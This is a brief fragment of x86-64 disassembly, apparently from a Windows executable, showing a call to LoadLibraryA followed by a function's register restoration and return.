call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
mov rcx, rdi
call qword [fcn.1400adde0]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
mov rax, rbp
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret